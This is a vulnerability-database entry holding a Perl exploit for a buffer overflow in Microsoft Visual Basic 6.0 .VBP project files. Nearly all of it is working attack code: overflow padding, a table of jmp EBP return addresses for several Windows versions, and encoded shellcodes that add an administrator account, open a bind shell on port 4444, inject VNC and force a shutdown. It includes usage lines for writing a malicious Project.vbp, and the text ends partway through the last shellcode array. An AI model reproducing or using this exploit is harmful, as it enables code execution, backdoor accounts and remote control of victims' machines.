ID SSV:7225
Type seebug
Reporter Root
Modified 2007-09-05T00:00:00
Description
No description provided by source.
#!/usr/bin/perl
#' ++ Microsoft Visual Basic 6.0 Code Execution 0-Day ++
#' ++++++++++++++++++++++++++++++++++++++++++++++++++++++
#'++ Author: Koshi +
#'++ Email: heykoshi at gmail dot com +
#'++ Application: Microsoft Visual Basic 6.0 +
#'++ +
#'++ Tested on Microsoft Windows XP Home Edition SP2 +
#'++ Patched & Updated +
#'++ +
#'++ The vulnerable buffer exsists in the .VBP files of +
#'++ Visual Basic projects. You can jump directly to +
#'++ the shellcode, or jump to it via EBP. +
#'++ +
#'++ There is NO restriction of shellcode size either. +
#'++ +
#'++ Gr33tz: Rima my baby who I love and adore, Draven +
#'++ for pointing me in the right direction, as always. +
#'++ +
#'++ +
#'++ This exploit is for educational use only, blah. +
#'++ +
#'++ +
#'+++++++++++++++++++++++++++++++++++++++++++++++++++++++
#'+++++++++++++++++++++++++++++++++++++++++++++++++++++
#
# Ex. of Usage:
# perl vb6.pl 1 >>Project.vbp
#
#
$begin0 = "\x54\x79\x70\x65\x3D\x45\x78\x65\x0D\x0A\x46\x6F\x72\x6D".
"\x3D\x46\x6F\x72\x6D\x31\x2E\x66\x72\x6D\x0D\x0A";
$begin1 = "\x52\x65\x66\x65\x72\x65\x6E\x63\x65\x3D".
"\x2A\x5C\x47\x7B\x30\x30\x30\x32\x30\x34\x33\x30\x2D\x30".
"\x30\x30\x30\x2D\x30\x30\x30\x30\x2D\x43\x30\x30\x30\x2D".
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x34\x36\x7D\x23".
"\x32\x2E\x30\x23\x30\x23\x2E\x2E\x5C\x2E\x2E\x5C\x2E\x2E".
"\x5C\x2E\x2E\x5C\x2E\x2E\x5C\x57\x49\x4E\x44\x4F\x57\x53".
"\x5C\x73\x79\x73\x74\x65\x6D\x33\x32\x5C\x73\x74\x64\x6F".
"\x6C\x65\x32\x2E\x74\x6C\x62\x23\x4F\x4C\x45\x20\x41\x75".
"\x74\x6F\x6D\x61\x74\x69\x6F\x6E";
$begin2 = "\x0D\x0A\x53\x74\x61\x72\x74\x75\x70\x3D\x22\x46\x6F\x72\x6D\x31\x22\x0D\x0A".
"\x43\x6F\x6D\x6D\x61\x6E\x64\x33\x32\x3D\x22\x22";
$BuffOf = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41";
$codeAddr = "\x83\x25\x40\x01";
# You can most likely use a call or a push, you could probably use them from kernel32.dll too.
#* ntdll.dll - 0x7C923DA3 jmp Ebp **** Is the one i have used in this example.
# 0x77f6d42f jmp ebp ntdll.dll (English / 5.2.3790.3) Windows 2003 Server 5.2.0.0 SP0 (IA32)
# 0x77f7d9b6 jmp ebp ntdll.dll (English / 5.1.2600.11061) Windows XP 5.1.1.0 SP1 (IA32)
# 0x77f8c449 jmp ebp ntdll.dll (English / 5.0.2163.1) Windows 2000 5.0.0.0 SP0 (IA32)
# 0x77faa6ce jmp ebp ntdll.dll (English / 5.2.3790.3) Windows 2003 Server 5.2.0.0 SP0 (IA32)
# 0x7c85eb73 jmp ebp ntdll.dll (English / 5.2.3790.1830031) Windows 2003 Server 5.2.1.0 SP1 (IA32)
# 0x7c8839ed jmp ebp ntdll.dll (English / 5.2.3790.1830031) Windows 2003 Server 5.2.1.0 SP1 (IA32)
#*0x7c923da3 jmp ebp ntdll.dll (English / 5.1.2600.21802) Windows XP 5.1.2.0 SP2 (IA32)
# 0x77f8c449 jmp ebp ntdll.dll (French / 5.0.2163.1) Windows 2000 5.0.0.0 SP0 (IA32)
# 0x77f6d9b6 jmp ebp ntdll.dll (German / 5.1.2600.11061) Windows XP 5.1.1.0 SP1 (IA32)
# 0x7c933da3 jmp ebp ntdll.dll (German / 5.1.2600.21802) Windows XP 5.1.2.0 SP2 (IA32)
# 0x77f5d42f jmp ebp ntdll.dll (Italian / 5.2.3790.3) No associated versions
# 0x77f6d9b6 jmp ebp ntdll.dll (Italian / 5.1.2600.11061) Windows XP 5.1.1.0 SP1 (IA32)
# 0x77f8c449 jmp ebp ntdll.dll (Italian / 5.0.2163.1) Windows 2000 5.0.0.0 SP0 (IA32)
# 0x77f9a6ce jmp ebp ntdll.dll (Italian / 5.2.3790.3) No associated versions
# 0x7c96eb73 jmp ebp ntdll.dll (Italian / 5.2.3790.1830031) No associated versions
# 0x7c9939ed jmp ebp ntdll.dll (Italian / 5.2.3790.1830031) No associated versions
# ...backwards..if you don't know why, then gtfo.
$jmpEbp = "\xA3\x3D\x92\x7C";
$fourSkin = "\x44\x44\x44\x44";
$begin3 = "\x0D\x0A\x4E\x61\x6D\x65\x3D\x22\x50\x72\x6F\x6A\x65\x63".
"\x74\x31\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41";
$koshi = "\x0D\x0A\x48\x65\x6C\x70\x43\x6F\x6E\x74\x65\x78\x74\x49\x44\x3D\x22\x30\x22\x0D\x0A\x43\x6F\x6D".
"\x70\x61\x74\x69\x62\x6C\x65\x4D\x6F\x64\x65\x3D\x22\x30\x22\x0D\x0A\x4D\x61\x6A\x6F\x72\x56\x65".
"\x72\x3D\x31\x0D\x0A\x4D\x69\x6E\x6F\x72\x56\x65\x72\x3D\x30\x0D\x0A\x52\x65\x76\x69\x73\x69\x6F".
"\x6E\x56\x65\x72\x3D\x30\x0D\x0A\x41\x75\x74\x6F\x49\x6E\x63\x72\x65\x6D\x65\x6E\x74\x56\x65\x72".
"\x3D\x30\x0D\x0A\x53\x65\x72\x76\x65\x72\x53\x75\x70\x70\x6F\x72\x74\x46\x69\x6C\x65\x73\x3D\x30".
"\x0D\x0A\x43\x6F\x6D\x70\x69\x6C\x61\x74\x69\x6F\x6E\x54\x79\x70\x65\x3D\x30\x0D\x0A\x4F\x70\x74".
"\x69\x6D\x69\x7A\x61\x74\x69\x6F\x6E\x54\x79\x70\x65\x3D\x30\x0D\x0A\x46\x61\x76\x6F\x72\x50\x65".
"\x6E\x74\x69\x75\x6D\x50\x72\x6F\x28\x74\x6D\x29\x3D\x30\x0D\x0A\x43\x6F\x64\x65\x56\x69\x65\x77".
"\x44\x65\x62\x75\x67\x49\x6E\x66\x6F\x3D\x30\x0D\x0A\x4E\x6F\x41\x6C\x69\x61\x73\x69\x6E\x67\x3D".
"\x30\x0D\x0A\x42\x6F\x75\x6E\x64\x73\x43\x68\x65\x63\x6B\x3D\x30\x0D\x0A\x4F\x76\x65\x72\x66\x6C".
"\x6F\x77\x43\x68\x65\x63\x6B\x3D\x30\x0D\x0A\x46\x6C\x50\x6F\x69\x6E\x74\x43\x68\x65\x63\x6B\x3D".
"\x30\x0D\x0A\x46\x44\x49\x56\x43\x68\x65\x63\x6B\x3D\x30\x0D\x0A\x55\x6E\x72\x6F\x75\x6E\x64\x65".
"\x64\x46\x50\x3D\x30\x0D\x0A\x53\x74\x61\x72\x74\x4D\x6F\x64\x65\x3D\x30\x0D\x0A\x55\x6E\x61\x74".
"\x74\x65\x6E\x64\x65\x64\x3D\x30\x0D\x0A\x52\x65\x74\x61\x69\x6E\x65\x64\x3D\x30\x0D\x0A\x54\x68".
"\x72\x65\x61\x64\x50\x65\x72\x4F\x62\x6A\x65\x63\x74\x3D\x30\x0D\x0A\x4D\x61\x78\x4E\x75\x6D\x62".
"\x65\x72\x4F\x66\x54\x68\x72\x65\x61\x64\x73\x3D\x31\x0D\x0A\x0D\x0A\x5B\x4D\x53\x20\x54\x72\x61".
"\x6E\x73\x61\x63\x74\x69\x6F\x6E\x20\x53\x65\x72\x76\x65\x72\x5D\x0D\x0A\x41\x75\x74\x6F\x52\x65".
"\x66\x72\x65\x73\x68\x3D\x31\x0D\x0A";
# win32_exec - EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com
$shellc1 = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47".
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c".
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58".
"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44".
"\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38".
"\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a".
"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b".
"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37".
"\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56".
"\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a";
# win32_adduser - PASS=koshi EXITFUNC=seh USER=4dmin Size=495 Encoder=PexAlphaNum http://metasploit.com
$shellc2 = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x44\x4e\x53\x4b\x38\x4e\x37".
"\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x38\x4f\x54\x4a\x51\x4b\x58".
"\x4f\x35\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x38\x46\x53\x4b\x48".
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c".
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x52\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x50\x4b\x54".
"\x4b\x48\x4f\x55\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x58".
"\x41\x30\x4b\x4e\x49\x38\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x58\x42\x34\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x44\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b".
"\x42\x30\x42\x30\x42\x50\x4b\x58\x4a\x36\x4e\x53\x4f\x45\x41\x53".
"\x48\x4f\x42\x36\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x55\x4a\x56\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x46\x4a\x59".
"\x50\x4f\x4c\x58\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x36\x4d\x46".
"\x46\x56\x50\x42\x45\x36\x4a\x37\x45\x56\x42\x32\x4f\x52\x43\x46".
"\x42\x42\x50\x56\x45\x46\x46\x47\x42\x52\x45\x47\x43\x37\x45\x36".
"\x44\x57\x42\x42\x46\x53\x46\x36\x4d\x56\x49\x46\x50\x56\x42\x32".
"\x4b\x36\x4f\x36\x43\x37\x4a\x46\x49\x36\x42\x32\x4f\x42\x41\x34".
"\x46\x54\x46\x34\x42\x32\x48\x52\x48\x52\x42\x52\x50\x36\x45\x46".
"\x46\x57\x42\x42\x4e\x56\x4f\x36\x43\x36\x41\x36\x4e\x46\x47\x56".
"\x44\x37\x4f\x36\x45\x57\x42\x57\x42\x52\x41\x44\x46\x56\x4d\x56".
"\x49\x46\x50\x56\x49\x46\x43\x47\x46\x57\x44\x37\x41\x36\x46\x57".
"\x4f\x46\x44\x37\x43\x37\x42\x32\x46\x43\x46\x36\x4d\x56\x49\x36".
"\x50\x56\x42\x42\x4f\x32\x41\x44\x46\x54\x46\x54\x42\x50\x5a";
# win32_bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com
$shellc3 = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e".
"\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x38".
"\x4e\x36\x46\x52\x46\x32\x4b\x38\x45\x54\x4e\x53\x4b\x48\x4e\x37".
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x58".
"\x4f\x45\x42\x52\x41\x50\x4b\x4e\x49\x44\x4b\x58\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c".
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x33\x46\x35\x46\x32\x4a\x32\x45\x57\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54".
"\x4b\x58\x4f\x35\x4e\x31\x41\x50\x4b\x4e\x43\x50\x4e\x52\x4b\x58".
"\x49\x58\x4e\x46\x46\x52\x4e\x31\x41\x46\x43\x4c\x41\x33\x4b\x4d".
"\x46\x46\x4b\x48\x43\x34\x42\x53\x4b\x58\x42\x54\x4e\x30\x4b\x48".
"\x42\x57\x4e\x31\x4d\x4a\x4b\x48\x42\x44\x4a\x50\x50\x45\x4a\x46".
"\x50\x38\x50\x34\x50\x50\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x46".
"\x43\x45\x48\x56\x4a\x36\x43\x53\x44\x33\x4a\x46\x47\x57\x43\x37".
"\x44\x53\x4f\x55\x46\x35\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e".
"\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x45\x49\x38\x45\x4e".
"\x48\x36\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x45\x4c\x36\x44\x50".
"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x45".
"\x4f\x4f\x48\x4d\x43\x45\x43\x45\x43\x55\x43\x55\x43\x55\x43\x54".
"\x43\x45\x43\x54\x43\x45\x4f\x4f\x42\x4d\x48\x46\x4a\x36\x41\x31".
"\x4e\x35\x48\x46\x43\x55\x49\x58\x41\x4e\x45\x59\x4a\x46\x46\x4a".
"\x4c\x41\x42\x47\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x46\x42\x31".
"\x41\x55\x45\x55\x4f\x4f\x42\x4d\x4a\x46\x46\x4a\x4d\x4a\x50\x32".
"\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x55\x45\x55\x4f\x4f\x42\x4d".
"\x4a\x56\x45\x4e\x49\x44\x48\x38\x49\x34\x47\x55\x4f\x4f\x48\x4d".
"\x42\x45\x46\x45\x46\x45\x45\x35\x4f\x4f\x42\x4d\x43\x59\x4a\x36".
"\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x35\x4f\x4f\x48\x4d\x45\x45".
"\x4f\x4f\x42\x4d\x48\x56\x4c\x36\x46\x56\x48\x46\x4a\x36\x43\x46".
"\x4d\x36\x49\x38\x45\x4e\x4c\x46\x42\x35\x49\x45\x49\x32\x4e\x4c".
"\x49\x48\x47\x4e\x4c\x56\x46\x54\x49\x48\x44\x4e\x41\x43\x42\x4c".
"\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x52\x50\x4f\x44\x54\x4e\x42".
"\x43\x59\x4d\x38\x4c\x47\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36".
"\x44\x47\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x47\x46\x54\x4f\x4f".
"\x48\x4d\x4b\x45\x47\x45\x44\x35\x41\x35\x41\x45\x41\x55\x4c\x46".
"\x41\x30\x41\x45\x41\x45\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x36".
"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x56".
"\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x48\x47\x35\x4e\x4f".
"\x43\x38\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d".
"\x4a\x56\x42\x4f\x4c\x58\x46\x50\x4f\x55\x43\x45\x4f\x4f\x48\x4d".
"\x4f\x4f\x42\x4d\x5a";
# win32_bind_vncinject - VNCDLL=/home/opcode/msfweb/framework/data/vncdll.dll EXITFUNC=seh AUTOVNC=1 VNCPORT=5900 LPORT=4444 Size=649 Encoder=PexAlphaNum http://metasploit.com
$shellc4 = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4a\x4e\x48\x55\x42\x50".
"\x42\x30\x42\x30\x43\x55\x45\x35\x48\x45\x47\x45\x4b\x38\x4e\x36".
"\x46\x42\x4a\x31\x4b\x38\x45\x54\x4e\x33\x4b\x48\x46\x55\x45\x30".
"\x4a\x47\x41\x50\x4c\x4e\x4b\x58\x4c\x54\x4a\x31\x4b\x48\x4c\x55".
"\x42\x42\x41\x50\x4b\x4e\x43\x4e\x44\x43\x49\x54\x4b\x58\x46\x33".
"\x4b\x48\x41\x30\x50\x4e\x41\x33\x4f\x4f\x4e\x4f\x41\x43\x42\x4c".
"\x4e\x4a\x4a\x53\x42\x4e\x46\x57\x47\x30\x41\x4c\x4f\x4c\x4d\x30".
"\x41\x30\x47\x4c\x4b\x4e\x44\x4f\x4b\x33\x4e\x47\x46\x42\x46\x51".
"\x45\x37\x41\x4e\x4b\x38\x4c\x35\x46\x52\x41\x30\x4b\x4e\x48\x56".
"\x4b\x58\x4e\x50\x4b\x54\x4b\x48\x4c\x55\x4e\x51\x41\x30\x4b\x4e".
"\x4b\x58\x46\x30\x4b\x58\x41\x50\x4a\x4e\x4b\x4e\x44\x50\x41\x43".
"\x42\x4c\x4f\x35\x50\x35\x4d\x35\x4b\x45\x44\x4c\x4a\x50\x42\x50".
"\x50\x55\x4c\x36\x42\x33\x49\x55\x46\x46\x4b\x58\x49\x31\x4b\x38".
"\x4b\x45\x4e\x50\x4b\x38\x4b\x35\x4e\x31\x4b\x48\x4b\x51\x4b\x58".
"\x4b\x45\x4a\x30\x43\x55\x4a\x56\x50\x38\x50\x34\x50\x50\x4e\x4e".
"\x4f\x4f\x48\x4d\x49\x48\x47\x4c\x41\x58\x4e\x4e\x42\x50\x41\x50".
"\x42\x50\x42\x30\x47\x45\x48\x55\x43\x45\x49\x38\x45\x4e\x4a\x4e".
"\x47\x52\x42\x30\x42\x30\x42\x30\x42\x59\x41\x50\x42\x30\x42\x50".
"\x48\x4b\x49\x51\x4a\x51\x47\x4e\x46\x4a\x49\x31\x42\x47\x49\x4e".
"\x45\x4e\x49\x54\x48\x58\x49\x54\x46\x4a\x4c\x51\x42\x37\x47\x4c".
"\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x49\x4d\x49\x50\x45\x4f\x4d\x4a".
"\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x43\x47\x45\x43\x35\x44\x33\x4f\x45".
"\x43\x33\x44\x43\x42\x30\x4b\x45\x4d\x38\x4b\x34\x42\x42\x41\x55".
"\x4f\x4f\x47\x4d\x49\x58\x4f\x4d\x49\x38\x43\x4c\x4d\x58\x45\x47".
"\x46\x41\x4c\x36\x47\x30\x49\x45\x41\x35\x43\x45\x4f\x4f\x46\x43".
"\x4f\x38\x4f\x4f\x45\x35\x46\x50\x49\x35\x49\x58\x46\x50\x50\x48".
"\x44\x4e\x44\x4f\x4b\x32\x47\x52\x46\x35\x4f\x4f\x47\x43\x4f\x4f".
"\x45\x35\x42\x43\x41\x53\x42\x4c\x42\x45\x42\x35\x42\x35\x42\x55".
"\x42\x54\x42\x55\x42\x44\x42\x35\x4f\x4f\x45\x45\x4e\x32\x49\x48".
"\x47\x4c\x41\x53\x4b\x4d\x43\x45\x43\x45\x4a\x46\x44\x30\x42\x50".
"\x41\x31\x4e\x55\x49\x48\x42\x4e\x4c\x36\x42\x31\x42\x35\x47\x55".
"\x4f\x4f\x45\x35\x46\x32\x43\x55\x47\x45\x4f\x4f\x45\x45\x4a\x32".
"\x43\x55\x46\x35\x47\x45\x4f\x4f\x45\x55\x42\x32\x49\x48\x47\x4c".
"\x41\x58\x4e\x4e\x42\x50\x42\x31\x42\x50\x42\x50\x49\x58\x43\x4e".
"\x4c\x46\x42\x50\x4a\x46\x42\x30\x42\x51\x42\x30\x42\x30\x43\x35".
"\x47\x45\x4f\x4f\x45\x35\x4a\x31\x41\x58\x4e\x4e\x42\x30\x46\x30".
"\x42\x30\x42\x30\x4f\x4f\x43\x4d\x5a";
# win32_exec - EXITFUNC=seh CMD=shutdown -c "HAI VEn0m pwn3d j00r b0x0r wif k0sh1 u b1tch" Size=451 Encoder=PexAlphaNum http://metasploit.com
$shellc5 = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x54\x4a\x51\x4b\x48".
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x54\x4b\x38\x46\x43\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x30\x45\x37\x45\x4e\x4b\x38".
"\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x34".
"\x4b\x38\x4f\x45\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x48".
"\x41\x50\x4b\x4e\x49\x48\x4e\x35\x46\x32\x46\x50\x43\x4c\x41\x43".
"\x42\x4c\x46\x56\x4b\x48\x42\x34\x42\x43\x45\x58\x42\x4c\x4a\x37".
"\x4e\x50\x4b\x38\x42\x34\x4e\x50\x4b\x38\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x58\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x58\x42\x58\x42\x4b".
"\x42\x50\x42\x30\x42\x50\x4b\x48\x4a\x46\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x36\x48\x35\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x37".
"\x42\x45\x4a\x56\x42\x4f\x4c\x48\x46\x30\x4f\x55\x4a\x56\x4a\x39".
"\x50\x4f\x4c\x58\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x37\x4a\x56".
"\x45\x47\x46\x37\x46\x46\x4f\x36\x47\x37\x50\x46\x42\x42\x4d\x42".
"\x43\x36\x42\x42\x44\x42\x4a\x34\x41\x54\x49\x34\x42\x42\x48\x35".
"\x45\x34\x50\x56\x42\x33\x4d\x56\x42\x52\x42\x57\x47\x57\x50\x56".
"\x43\x33\x46\x36\x42\x32\x4c\x46\x42\x33\x42\x33\x44\x37\x42\x32".
"\x44\x46\x42\x53\x4a\x57\x42\x33\x44\x47\x42\x52\x47\x47\x49\x56".
